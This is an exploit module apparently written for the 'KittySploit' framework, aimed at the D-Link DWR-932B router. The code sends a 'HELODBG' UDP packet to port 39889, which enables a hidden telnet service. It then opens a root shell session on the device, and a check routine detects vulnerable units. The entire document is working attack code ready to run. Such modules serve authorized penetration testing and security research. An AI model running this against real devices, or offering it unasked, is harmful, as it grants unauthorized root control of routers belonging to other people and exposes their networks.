D-Link DWR-932B - UDP Backdoor (HELODBG)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DWR-932B UDP HELODBG backdoor — opens framework shell session."""

from __future__ import annotations

import socket

from kittysploit import *
from lib.protocols.telnet import open_framework_shell
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        "name": "D-Link DWR-932B - UDP Backdoor (HELODBG)",
        "description": (
            "Sends the HELODBG UDP packet to enable the hidden telnet service on "
            "D-Link DWR-932B devices, then opens a framework shell session as root."
        ),
        "author": ["Pierre Kim", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": ["https://pierrekim.github.io/advisories/2016-dlink-0x00.txt"],
        "tags": ["d-link", "dwr-932b", "router", "backdoor", "udp", "telnet", "iot"],
    }

    udp_port = OptPort(39889, "UDP port for HELODBG trigger", required=False)
    telnet_port = OptPort(23, "Telnet port after backdoor enable", required=False)

    def _send_trigger(self) -> bytes:
        host = str(self.target)
        port = int(self.udp_port or 39889)
        timeout = float(self.timeout or 10)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        try:
            sock.sendto(b"HELODBG", (host, port))
            return sock.recv(1024)
        except socket.timeout:
            return b""
        finally:
            sock.close()

    def check(self):
        try:
            response = self._send_trigger()
            if response and b"Hello" in response:
                return {"vulnerable": True, "reason": "HELODBG response received", "confidence": "high"}
        except Exception as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {"vulnerable": False, "reason": "No HELODBG response", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False

        host = str(self.target)
        tport = int(self.telnet_port or 23)
        timeout = int(self.timeout or 10)
        print_status(f"Opening shell session on {host}:{tport} ...")
        return open_framework_shell(
            self,
            host,
            tport,
            timeout=timeout,
            exploit="dwr_932b_backdoor",
            username="root",
        )